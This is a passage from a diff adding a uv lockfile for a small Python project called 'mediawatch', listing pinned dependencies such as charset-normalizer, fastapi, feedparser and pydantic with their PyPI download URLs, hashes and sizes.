upload-time = "2026-04-02T09:26:46.824Z" }, + { url = "https://files.pythonhosted.org/packages/c4/bb/ec73c0257c9e11b268f018f068f5d00aa0ef8c8b09f7753ebd5f2880e248/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a277ab8928b9f299723bc1a2dabb1265911b1a76341f90a510368ca44ad9ab66", size = 228303, upload-time = "2026-04-02T09:26:48.397Z" }, + { url = "https://files.pythonhosted.org/packages/85/fb/32d1f5033484494619f701e719429c69b766bfc4dbc61aa9e9c8c166528b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3bec022aec2c514d9cf199522a802bd007cd588ab17ab2525f20f9c34d067c18", size = 224282, upload-time = "2026-04-02T09:26:49.684Z" }, + { url = "https://files.pythonhosted.org/packages/fa/07/330e3a0dda4c404d6da83b327270906e9654a24f6c546dc886a0eb0ffb23/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e044c39e41b92c845bc815e5ae4230804e8e7bc29e399b0437d64222d92809dd", size = 215595, upload-time = "2026-04-02T09:26:50.915Z" }, + { url = "https://files.pythonhosted.org/packages/e3/7c/fc890655786e423f02556e0216d4b8c6bcb6bdfa890160dc66bf52dee468/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:f495a1652cf3fbab2eb0639776dad966c2fb874d79d87ca07f9d5f059b8bd215", size = 201986, upload-time = "2026-04-02T09:26:52.197Z" }, + { url = "https://files.pythonhosted.org/packages/d8/97/bfb18b3db2aed3b90cf54dc292ad79fdd5ad65c4eae454099475cbeadd0d/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e712b419df8ba5e42b226c510472b37bd57b38e897d3eca5e8cfd410a29fa859", size = 211711, upload-time = "2026-04-02T09:26:53.49Z" }, + { url = "https://files.pythonhosted.org/packages/6f/a5/a581c13798546a7fd557c82614a5c65a13df2157e9ad6373166d2a3e645d/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7804338df6fcc08105c7745f1502ba68d900f45fd770d5bdd5288ddccb8a42d8", size = 210036, upload-time = "2026-04-02T09:26:54.975Z" }, + { url = "https://files.pythonhosted.org/packages/8c/bf/b3ab5bcb478e4193d517644b0fb2bf5497fbceeaa7a1bc0f4d5b50953861/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:481551899c856c704d58119b5025793fa6730adda3571971af568f66d2424bb5", size = 202998, upload-time = "2026-04-02T09:26:56.303Z" }, + { url = "https://files.pythonhosted.org/packages/e7/4e/23efd79b65d314fa320ec6017b4b5834d5c12a58ba4610aa353af2e2f577/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:f59099f9b66f0d7145115e6f80dd8b1d847176df89b234a5a6b3f00437aa0832", size = 230056, upload-time = "2026-04-02T09:26:57.554Z" }, + { url = "https://files.pythonhosted.org/packages/b9/9f/1e1941bc3f0e01df116e68dc37a55c4d249df5e6fa77f008841aef68264f/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:f59ad4c0e8f6bba240a9bb85504faa1ab438237199d4cce5f622761507b8f6a6", size = 211537, upload-time = "2026-04-02T09:26:58.843Z" }, + { url = "https://files.pythonhosted.org/packages/80/0f/088cbb3020d44428964a6c97fe1edfb1b9550396bf6d278330281e8b709c/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:3dedcc22d73ec993f42055eff4fcfed9318d1eeb9a6606c55892a26964964e48", size = 226176, upload-time = "2026-04-02T09:27:00.437Z" }, + { url = "https://files.pythonhosted.org/packages/6a/9f/130394f9bbe06f4f63e22641d32fc9b202b7e251c9aef4db044324dac493/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:64f02c6841d7d83f832cd97ccf8eb8a906d06eb95d5276069175c696b024b60a", size = 217723, upload-time = "2026-04-02T09:27:02.021Z" }, + { url = "https://files.pythonhosted.org/packages/73/55/c469897448a06e49f8fa03f6caae97074fde823f432a98f979cc42b90e69/charset_normalizer-3.4.7-cp313-cp313-win32.whl", hash = "sha256:4042d5c8f957e15221d423ba781e85d553722fc4113f523f2feb7b188cc34c5e", size = 148085, upload-time = "2026-04-02T09:27:03.192Z" }, + { url = "https://files.pythonhosted.org/packages/5d/78/1b74c5bbb3f99b77a1715c91b3e0b5bdb6fe302d95ace4f5b1bec37b0167/charset_normalizer-3.4.7-cp313-cp313-win_amd64.whl", hash = "sha256:3946fa46a0cf3e4c8cb1cc52f56bb536310d34f25f01ca9b6c16afa767dab110", size = 158819, upload-time = "2026-04-02T09:27:04.454Z" }, + { url = "https://files.pythonhosted.org/packages/68/86/46bd42279d323deb8687c4a5a811fd548cb7d1de10cf6535d099877a9a9f/charset_normalizer-3.4.7-cp313-cp313-win_arm64.whl", hash = "sha256:80d04837f55fc81da168b98de4f4b797ef007fc8a79ab71c6ec9bc4dd662b15b", size = 147915, upload-time = "2026-04-02T09:27:05.971Z" }, + { url = "https://files.pythonhosted.org/packages/97/c8/c67cb8c70e19ef1960b97b22ed2a1567711de46c4ddf19799923adc836c2/charset_normalizer-3.4.7-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:c36c333c39be2dbca264d7803333c896ab8fa7d4d6f0ab7edb7dfd7aea6e98c0", size = 309234, upload-time = "2026-04-02T09:27:07.194Z" }, + { url = "https://files.pythonhosted.org/packages/99/85/c091fdee33f20de70d6c8b522743b6f831a2f1cd3ff86de4c6a827c48a76/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1c2aed2e5e41f24ea8ef1590b8e848a79b56f3a5564a65ceec43c9d692dc7d8a", size = 208042, upload-time = "2026-04-02T09:27:08.749Z" }, + { url = "https://files.pythonhosted.org/packages/87/1c/ab2ce611b984d2fd5d86a5a8a19c1ae26acac6bad967da4967562c75114d/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:54523e136b8948060c0fa0bc7b1b50c32c186f2fceee897a495406bb6e311d2b", size = 228706, upload-time = "2026-04-02T09:27:09.951Z" }, + { url = "https://files.pythonhosted.org/packages/a8/29/2b1d2cb00bf085f59d29eb773ce58ec2d325430f8c216804a0a5cd83cbca/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:715479b9a2802ecac752a3b0efa2b0b60285cf962ee38414211abdfccc233b41", size = 224727, upload-time = "2026-04-02T09:27:11.175Z" }, + { url = "https://files.pythonhosted.org/packages/47/5c/032c2d5a07fe4d4855fea851209cca2b6f03ebeb6d4e3afdb3358386a684/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bd6c2a1c7573c64738d716488d2cdd3c00e340e4835707d8fdb8dc1a66ef164e", size = 215882, upload-time = "2026-04-02T09:27:12.446Z" }, + { url = "https://files.pythonhosted.org/packages/2c/c2/356065d5a8b78ed04499cae5f339f091946a6a74f91e03476c33f0ab7100/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:c45e9440fb78f8ddabcf714b68f936737a121355bf59f3907f4e17721b9d1aae", size = 200860, upload-time = "2026-04-02T09:27:13.721Z" }, + { url = "https://files.pythonhosted.org/packages/0c/cd/a32a84217ced5039f53b29f460962abb2d4420def55afabe45b1c3c7483d/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3534e7dcbdcf757da6b85a0bbf5b6868786d5982dd959b065e65481644817a18", size = 211564, upload-time = "2026-04-02T09:27:15.272Z" }, + { url = "https://files.pythonhosted.org/packages/44/86/58e6f13ce26cc3b8f4a36b94a0f22ae2f00a72534520f4ae6857c4b81f89/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:e8ac484bf18ce6975760921bb6148041faa8fef0547200386ea0b52b5d27bf7b", size = 211276, upload-time = "2026-04-02T09:27:16.834Z" }, + { url = "https://files.pythonhosted.org/packages/8f/fe/d17c32dc72e17e155e06883efa84514ca375f8a528ba2546bee73fc4df81/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:a5fe03b42827c13cdccd08e6c0247b6a6d4b5e3cdc53fd1749f5896adcdc2356", size = 201238, upload-time = "2026-04-02T09:27:18.229Z" }, + { url = "https://files.pythonhosted.org/packages/6a/29/f33daa50b06525a237451cdb6c69da366c381a3dadcd833fa5676bc468b3/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:2d6eb928e13016cea4f1f21d1e10c1cebd5a421bc57ddf5b1142ae3f86824fab", size = 230189, upload-time = "2026-04-02T09:27:19.445Z" }, + { url = "https://files.pythonhosted.org/packages/b6/6e/52c84015394a6a0bdcd435210a7e944c5f94ea1055f5cc5d56c5fe368e7b/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:e74327fb75de8986940def6e8dee4f127cc9752bee7355bb323cc5b2659b6d46", size = 211352, upload-time = "2026-04-02T09:27:20.79Z" }, + { url = "https://files.pythonhosted.org/packages/8c/d7/4353be581b373033fb9198bf1da3cf8f09c1082561e8e922aa7b39bf9fe8/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:d6038d37043bced98a66e68d3aa2b6a35505dc01328cd65217cefe82f25def44", size = 227024, upload-time = "2026-04-02T09:27:22.063Z" }, + { url = "https://files.pythonhosted.org/packages/30/45/99d18aa925bd1740098ccd3060e238e21115fffbfdcb8f3ece837d0ace6c/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7579e913a5339fb8fa133f6bbcfd8e6749696206cf05acdbdca71a1b436d8e72", size = 217869, upload-time = "2026-04-02T09:27:23.486Z" }, + { url = "https://files.pythonhosted.org/packages/5c/05/5ee478aa53f4bb7996482153d4bfe1b89e0f087f0ab6b294fcf92d595873/charset_normalizer-3.4.7-cp314-cp314-win32.whl", hash = "sha256:5b77459df20e08151cd6f8b9ef8ef1f961ef73d85c21a555c7eed5b79410ec10", size = 148541, upload-time = "2026-04-02T09:27:25.146Z" }, + { url = "https://files.pythonhosted.org/packages/48/77/72dcb0921b2ce86420b2d79d454c7022bf5be40202a2a07906b9f2a35c97/charset_normalizer-3.4.7-cp314-cp314-win_amd64.whl", hash = "sha256:92a0a01ead5e668468e952e4238cccd7c537364eb7d851ab144ab6627dbbe12f", size = 159634, upload-time = "2026-04-02T09:27:26.642Z" }, + { url = "https://files.pythonhosted.org/packages/c6/a3/c2369911cd72f02386e4e340770f6e158c7980267da16af8f668217abaa0/charset_normalizer-3.4.7-cp314-cp314-win_arm64.whl", hash = "sha256:67f6279d125ca0046a7fd386d01b311c6363844deac3e5b069b514ba3e63c246", size = 148384, upload-time = "2026-04-02T09:27:28.271Z" }, + { url = "https://files.pythonhosted.org/packages/94/09/7e8a7f73d24dba1f0035fbbf014d2c36828fc1bf9c88f84093e57d315935/charset_normalizer-3.4.7-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:effc3f449787117233702311a1b7d8f59cba9ced946ba727bdc329ec69028e24", size = 330133, upload-time = "2026-04-02T09:27:29.474Z" }, + { url = "https://files.pythonhosted.org/packages/8d/da/96975ddb11f8e977f706f45cddd8540fd8242f71ecdb5d18a80723dcf62c/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fbccdc05410c9ee21bbf16a35f4c1d16123dcdeb8a1d38f33654fa21d0234f79", size = 216257, upload-time = "2026-04-02T09:27:30.793Z" }, + { url = "https://files.pythonhosted.org/packages/e5/e8/1d63bf8ef2d388e95c64b2098f45f84758f6d102a087552da1485912637b/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:733784b6d6def852c814bce5f318d25da2ee65dd4839a0718641c696e09a2960", size = 234851, upload-time = "2026-04-02T09:27:32.44Z" }, + { url = "https://files.pythonhosted.org/packages/9b/40/e5ff04233e70da2681fa43969ad6f66ca5611d7e669be0246c4c7aaf6dc8/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a89c23ef8d2c6b27fd200a42aa4ac72786e7c60d40efdc76e6011260b6e949c4", size = 233393, upload-time = "2026-04-02T09:27:34.03Z" }, + { url = "https://files.pythonhosted.org/packages/be/c1/06c6c49d5a5450f76899992f1ee40b41d076aee9279b49cf9974d2f313d5/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6c114670c45346afedc0d947faf3c7f701051d2518b943679c8ff88befe14f8e", size = 223251, upload-time = "2026-04-02T09:27:35.369Z" }, + { url = "https://files.pythonhosted.org/packages/2b/9f/f2ff16fb050946169e3e1f82134d107e5d4ae72647ec8a1b1446c148480f/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:a180c5e59792af262bf263b21a3c49353f25945d8d9f70628e73de370d55e1e1", size = 206609, upload-time = "2026-04-02T09:27:36.661Z" }, + { url = "https://files.pythonhosted.org/packages/69/d5/a527c0cd8d64d2eab7459784fb4169a0ac76e5a6fc5237337982fd61347e/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3c9a494bc5ec77d43cea229c4f6db1e4d8fe7e1bbffa8b6f0f0032430ff8ab44", size = 220014, upload-time = "2026-04-02T09:27:38.019Z" }, + { url = "https://files.pythonhosted.org/packages/7e/80/8a7b8104a3e203074dc9aa2c613d4b726c0e136bad1cc734594b02867972/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8d828b6667a32a728a1ad1d93957cdf37489c57b97ae6c4de2860fa749b8fc1e", size = 218979, upload-time = "2026-04-02T09:27:39.37Z" }, + { url = "https://files.pythonhosted.org/packages/02/9a/b759b503d507f375b2b5c153e4d2ee0a75aa215b7f2489cf314f4541f2c0/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:cf1493cd8607bec4d8a7b9b004e699fcf8f9103a9284cc94962cb73d20f9d4a3", size = 209238, upload-time = "2026-04-02T09:27:40.722Z" }, + { url = "https://files.pythonhosted.org/packages/c2/4e/0f3f5d47b86bdb79256e7290b26ac847a2832d9a4033f7eb2cd4bcf4bb5b/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:0c96c3b819b5c3e9e165495db84d41914d6894d55181d2d108cc1a69bfc9cce0", size = 236110, upload-time = "2026-04-02T09:27:42.33Z" }, + { url = "https://files.pythonhosted.org/packages/96/23/bce28734eb3ed2c91dcf93abeb8a5cf393a7b2749725030bb630e554fdd8/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:752a45dc4a6934060b3b0dab47e04edc3326575f82be64bc4fc293914566503e", size = 219824, upload-time = "2026-04-02T09:27:43.924Z" }, + { url = "https://files.pythonhosted.org/packages/2c/6f/6e897c6984cc4d41af319b077f2f600fc8214eb2fe2d6bcb79141b882400/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:8778f0c7a52e56f75d12dae53ae320fae900a8b9b4164b981b9c5ce059cd1fcb", size = 233103, upload-time = "2026-04-02T09:27:45.348Z" }, + { url = "https://files.pythonhosted.org/packages/76/22/ef7bd0fe480a0ae9b656189ec00744b60933f68b4f42a7bb06589f6f576a/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ce3412fbe1e31eb81ea42f4169ed94861c56e643189e1e75f0041f3fe7020abe", size = 225194, upload-time = "2026-04-02T09:27:46.706Z" }, + { url = "https://files.pythonhosted.org/packages/c5/a7/0e0ab3e0b5bc1219bd80a6a0d4d72ca74d9250cb2382b7c699c147e06017/charset_normalizer-3.4.7-cp314-cp314t-win32.whl", hash = "sha256:c03a41a8784091e67a39648f70c5f97b5b6a37f216896d44d2cdcb82615339a0", size = 159827, upload-time = "2026-04-02T09:27:48.053Z" }, + { url = "https://files.pythonhosted.org/packages/7a/1d/29d32e0fb40864b1f878c7f5a0b343ae676c6e2b271a2d55cc3a152391da/charset_normalizer-3.4.7-cp314-cp314t-win_amd64.whl", hash = "sha256:03853ed82eeebbce3c2abfdbc98c96dc205f32a79627688ac9a27370ea61a49c", size = 174168, upload-time = "2026-04-02T09:27:49.795Z" }, + { url = "https://files.pythonhosted.org/packages/de/32/d92444ad05c7a6e41fb2036749777c163baf7a0301a040cb672d6b2b1ae9/charset_normalizer-3.4.7-cp314-cp314t-win_arm64.whl", hash = "sha256:c35abb8bfff0185efac5878da64c45dafd2b37fb0383add1be155a763c1f083d", size = 153018, upload-time = "2026-04-02T09:27:51.116Z" }, + { url = "https://files.pythonhosted.org/packages/db/8f/61959034484a4a7c527811f4721e75d02d653a35afb0b6054474d8185d4c/charset_normalizer-3.4.7-py3-none-any.whl", hash = "sha256:3dce51d0f5e7951f8bb4900c257dad282f49190fdbebecd4ba99bcc41fef404d", size = 61958, upload-time = "2026-04-02T09:28:37.794Z" }, +] + +[[package]] +name = "click" +version = "8.3.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/57/75/31212c6bf2503fdf920d87fee5d7a86a2e3bcf444984126f13d8e4016804/click-8.3.2.tar.gz", hash = "sha256:14162b8b3b3550a7d479eafa77dfd3c38d9dc8951f6f69c78913a8f9a7540fd5", size = 302856, upload-time = "2026-04-03T19:14:45.118Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e4/20/71885d8b97d4f3dde17b1fdb92dbd4908b00541c5a3379787137285f602e/click-8.3.2-py3-none-any.whl", hash = "sha256:1924d2c27c5653561cd2cae4548d1406039cb79b858b747cfea24924bbc1616d", size = 108379, upload-time = "2026-04-03T19:14:43.505Z" }, +] + +[[package]] +name = "colorama" +version = "0.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" }, +] + +[[package]] +name = "fastapi" +version = "0.136.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-doc" }, + { name = "pydantic" }, + { name = "starlette" }, + { name = "typing-extensions" }, + { name = "typing-inspection" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/4e/d9/e66315807e41e69e7f6a1b42a162dada2f249c5f06ad3f1a95f84ab336ef/fastapi-0.136.0.tar.gz", hash = "sha256:cf08e067cc66e106e102d9ba659463abfac245200752f8a5b7b1e813de4ff73e", size = 396607, upload-time = "2026-04-16T11:47:13.623Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/26/a3/0bd5f0cdb0bbc92650e8dc457e9250358411ee5d1b65e42b6632387daf81/fastapi-0.136.0-py3-none-any.whl", hash = "sha256:8793d44ec7378e2be07f8a013cf7f7aa47d6327d0dfe9804862688ec4541a6b4", size = 117556, upload-time = "2026-04-16T11:47:11.922Z" }, +] + +[[package]] +name = "feedparser" +version = "6.0.12" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "sgmllib3k" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/dc/79/db7edb5e77d6dfbc54d7d9df72828be4318275b2e580549ff45a962f6461/feedparser-6.0.12.tar.gz", hash = "sha256:64f76ce90ae3e8ef5d1ede0f8d3b50ce26bcce71dd8ae5e82b1cd2d4a5f94228", size = 286579, upload-time = "2025-09-10T13:33:59.486Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4e/eb/c96d64137e29ae17d83ad2552470bafe3a7a915e85434d9942077d7fd011/feedparser-6.0.12-py3-none-any.whl", hash = "sha256:6bbff10f5a52662c00a2e3f86a38928c37c48f77b3c511aedcd51de933549324", size = 81480, upload-time = "2025-09-10T13:33:58.022Z" }, +] + +[[package]] +name = "h11" +version = "0.16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" }, +] + +[[package]] +name = "idna" +version = "3.11" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6f/6d/0703ccc57f3a7233505399edb88de3cbd678da106337b9fcde432b65ed60/idna-3.11.tar.gz", hash = "sha256:795dafcc9c04ed0c1fb032c2aa73654d8e8c5023a7df64a53f39190ada629902", size = 194582, upload-time = "2025-10-12T14:55:20.501Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0e/61/66938bbb5fc52dbdf84594873d5b51fb1f7c7794e9c0f5bd885f30bc507b/idna-3.11-py3-none-any.whl", hash = "sha256:771a87f49d9defaf64091e6e6fe9c18d4833f140bd19464795bc32d966ca37ea", size = 71008, upload-time = "2025-10-12T14:55:18.883Z" }, +] + +[[package]] +name = "iniconfig" +version = "2.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730", size = 20503, upload-time = "2025-10-18T21:55:43.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = 7484, upload-time = "2025-10-18T21:55:41.639Z" }, +] + +[[package]] +name = "mediawatch" +version = "0.1.0" +source = { virtual = "." } +dependencies = [ + { name = "fastapi" }, + { name = "feedparser" }, + { name = "pytest" }, + { name = "python-dotenv" }, + { name = "requests" }, + { name = "uvicorn" }, +] + +[package.metadata] +requires-dist = [ + { name = "fastapi", specifier = ">=0.136.0" }, + { name = "feedparser", specifier = ">=6.0.12" }, + { name = "pytest", specifier = ">=9.0.3" }, + { name = "python-dotenv", specifier = ">=1.2.2" }, + { name = "requests", specifier = ">=2.33.1" }, + { name = "uvicorn", specifier = ">=0.44.0" }, +] + +[[package]] +name = "packaging" +version = "26.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/df/de/0d2b39fb4af88a0258f3bac87dfcbb48e73fbdea4a2ed0e2213f9a4c2f9a/packaging-26.1.tar.gz", hash = "sha256:f042152b681c4bfac5cae2742a55e103d27ab2ec0f3d88037136b6bfe7c9c5de", size = 215519, upload-time = "2026-04-14T21:12:49.362Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7a/c2/920ef838e2f0028c8262f16101ec09ebd5969864e5a64c4c05fad0617c56/packaging-26.1-py3-none-any.whl", hash = "sha256:5d9c0669c6285e491e0ced2eee587eaf67b670d94a19e94e3984a481aba6802f", size = 95831, upload-time = "2026-04-14T21:12:47.56Z" }, +] + +[[package]] +name = "pluggy" +version = "1.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412, upload-time = "2025-05-15T12:30:07.975Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 20538, upload-time = "2025-05-15T12:30:06.134Z" }, +] + +[[package]] +name = "pydantic" +version = "2.13.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-types" }, + { name = "pydantic-core" }, + { name = "typing-extensions" }, + { name = "typing-inspection" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f3/6b/1353beb3d1cd5cf61cdec5b6f87a9872399de3bc5cae0b7ce07ff4de2ab0/pydantic-2.13.1.tar.gz", hash = "sha256:a0f829b279ddd1e39291133fe2539d2aa46cc6b150c1706a270ff0879e3774d2", size = 843746, upload-time = "2026-04-15T14:57:19.398Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/81/5a/2225f4c176dbfed0d809e848b50ef08f70e61daa667b7fa14b0d311ae44d/pydantic-2.13.1-py3-none-any.whl", hash = "sha256:9557ecc2806faaf6037f85b1fbd963d01e30511c48085f0d573650fdeaad378a", size = 471917, upload-time = "2026-04-15T14:57:17.277Z" }, +] + +[[package]] +name = "pydantic-core" +version = "2.46.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/a1/93/f97a86a7eb28faa1d038af2fd5d6166418b4433659108a4c311b57128b2d/pydantic_core-2.46.1.tar.gz", hash = "sha256:d408153772d9f298098fb5d620f045bdf0f017af0d5cb6e309ef8c205540caa4", size = 471230, upload-time = "2026-04-15T14:49:34.52Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ce/fb/caaa8ee23861c170f07dbd58fc2be3a2c02a32637693cbb23eef02e84808/pydantic_core-2.46.1-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:ae8c8c5eb4c796944f3166f2f0dab6c761c2c2cc5bd20e5f692128be8600b9a4", size = 2119472, upload-time = "2026-04-15T14:49:45.946Z" }, + { url = "https://files.pythonhosted.org/packages/fa/61/bcffaa52894489ff89e5e1cdde67429914bf083c0db7296bef153020f786/pydantic_core-2.46.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:daba6f5f5b986aa0682623a1a4f8d1ecb0ec00ce09cfa9ca71a3b742bc383e3a", size = 1951230, upload-time = "2026-04-15T14:52:27.646Z" }, + { url = "https://files.pythonhosted.org/packages/f8/95/80d2f43a2a1a1e3220fd329d614aa5a39e0a75d24353a3aaf226e605f1c2/pydantic_core-2.46.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0265f3a2460539ecc97817a80c7a23c458dd84191229b655522a2674f701f14e", size = 1976394, upload-time = "2026-04-15T14:50:32.742Z" }, + { url = "https://files.pythonhosted.org/packages/8d/31/2c5b1a207926b5fc1961a2d11da940129bc3841c36cc4df03014195b2966/pydantic_core-2.46.1-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bb16c0156c4b4e94aa3719138cc43c53d30ff21126b6a3af63786dcc0757b56e", size = 2068455, upload-time = "2026-04-15T14:50:01.286Z" }, + { url = "https://files.pythonhosted.org/packages/7d/36/c6aa07274359a51ac62895895325ce90107e811c6cea39d2617a99ef10d7/pydantic_core-2.46.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1b42d80fad8e4b283e1e4138f1142f0d038c46d137aad2f9824ad9086080dd41", size = 2239049, upload-time = "2026-04-15T14:53:02.216Z" }, + { url = "https://files.pythonhosted.org/packages/0a/3f/77cdd0db8bddc714842dfd93f737c863751cf02001c993341504f6b0cd53/pydantic_core-2.46.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9cced85896d5b795293bc36b7e2fb0347a36c828551b50cbba510510d928548c", size = 2318681, upload-time = "2026-04-15T14:50:04.539Z" }, + { url = 